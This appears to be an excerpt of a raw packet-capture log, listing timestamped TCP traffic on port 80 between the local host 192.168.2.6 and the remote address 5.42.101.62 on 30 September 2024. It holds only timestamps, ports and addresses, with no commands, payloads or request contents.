Sep 30, 2024 13:59:22.638031960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.638031960 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.638046980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.638052940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.638065100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.638071060 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.638079882 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.638087034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.638096094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.638102055 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.638123035 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.638139009 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.644707918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.644778013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.644778013 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.644805908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.644817114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.644834995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.644845963 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.644853115 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.644869089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.644876003 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.644885063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.644897938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.644915104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.644934893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.648243904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.648260117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.648286104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.648299932 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.648303032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.648312092 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.648319006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.648334980 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.648346901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.648349047 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.648364067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.648369074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.648380041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.648386955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.648399115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.648416996 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.652731895 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.652765989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.652800083 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.652816057 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.652842999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.652867079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.652883053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.652898073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.652904987 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.652913094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.652929068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.652937889 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.652949095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.652954102 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.652970076 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.652988911 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.657474995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.657490015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.657521963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.657537937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.657546043 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.657552958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.657569885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.657584906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.657584906 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.657601118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.657609940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.657622099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.657655001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.661982059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.662019968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.662039042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.662055016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.662067890 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.662097931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.662101984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.662117958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.662133932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.662142038 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.662146091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.662173033 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.662200928 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.667691946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.667727947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.667758942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.667773962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.667784929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.667788982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.667804956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.667810917 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.667821884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.667834997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.667850971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.667870998 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.667887926 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.671921015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.671933889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.671947956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.671977997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.671987057 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.671993017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.672010899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.672015905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.672025919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.672032118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.672040939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.672065020 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.672092915 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.676039934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.676054001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.676069975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.676095009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.676107883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.676122904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.676139116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.676139116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.676152945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.676158905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.676177025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.676189899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.676192045 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.676218987 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.676248074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.680732965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.680788994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.680804014 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.680818081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.680824041 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.680834055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.680847883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.680854082 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.680862904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.680871964 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.680877924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.680891037 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.680906057 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.680923939 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.688483000 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.688513994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.688570976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.688600063 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.688621998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.688636065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.688651085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.688658953 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.688666105 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.688678026 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.688679934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.688694000 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.688695908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.688711882 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.688745022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.688750982 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.688759089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.688772917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.688782930 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.688786983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.688800097 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.688801050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.688816071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.688817978 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.688843966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.688873053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.706265926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.706322908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.706356049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.706370115 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.706383944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.706398010 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.706398964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.706414938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.706422091 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.706429958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.706443071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.706468105 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.706482887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.708626986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.708641052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.708678007 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.790365934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.790401936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.790416956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.790431976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.790448904 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.790461063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.790476084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.790482998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.790498972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.790513039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.790514946 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.790529013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.790541887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.790574074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.792224884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.792278051 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.792289019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.792304039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.792320013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.792331934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.792334080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.792347908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.792371035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.792371035 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.792387009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.792402029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.792406082 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.792433977 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.792454004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.792468071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.792483091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.792494059 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.792522907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.792541027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.792555094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.792581081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.792582035 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.792597055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.792606115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.792612076 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.792623043 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.792639971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.792655945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.792661905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.792701006 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.796438932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.796492100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.796494961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.796509027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.796525002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.796534061 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.796552896 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.796557903 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.796570063 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.796576977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.796590090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.796591043 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.796605110 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.796612024 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.796631098 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.796647072 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.796678066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.796690941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.796705008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.796719074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.796720028 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.796742916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.796768904 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.796771049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.796783924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.796797991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.796811104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.796811104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.796823025 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.796848059 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.796962023 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.797003031 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.803864002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.803879976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.803894997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.803920031 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.803930044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.803940058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.803944111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.803957939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.803970098 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.803972960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.803989887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.803997993 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.804025888 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.804044008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.804058075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.804079056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.804101944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.804102898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.804116011 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.804143906 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.805129051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.805144072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.805156946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.805171967 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.805180073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.805192947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.805203915 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.805234909 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.805272102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.805286884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.805313110 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.805336952 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.805630922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.805644989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.805658102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.805677891 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.805696011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.806534052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.806582928 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.806596994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.806610107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.806639910 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.806916952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.806942940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.806957960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.806965113 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.806972027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.806981087 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.806987047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.807003021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.807017088 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.808527946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.808541059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.808568954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.808573961 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.808583021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.808598995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.808599949 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.808613062 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.808624983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.808638096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.808643103 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.808651924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.808665991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.808670044 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.808681965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.808691025 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.808706999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.808718920 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.808739901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.808749914 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.808765888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.808780909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.808783054 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.808794975 CEST	80	49721	5.42.101.62	192.168.2.6
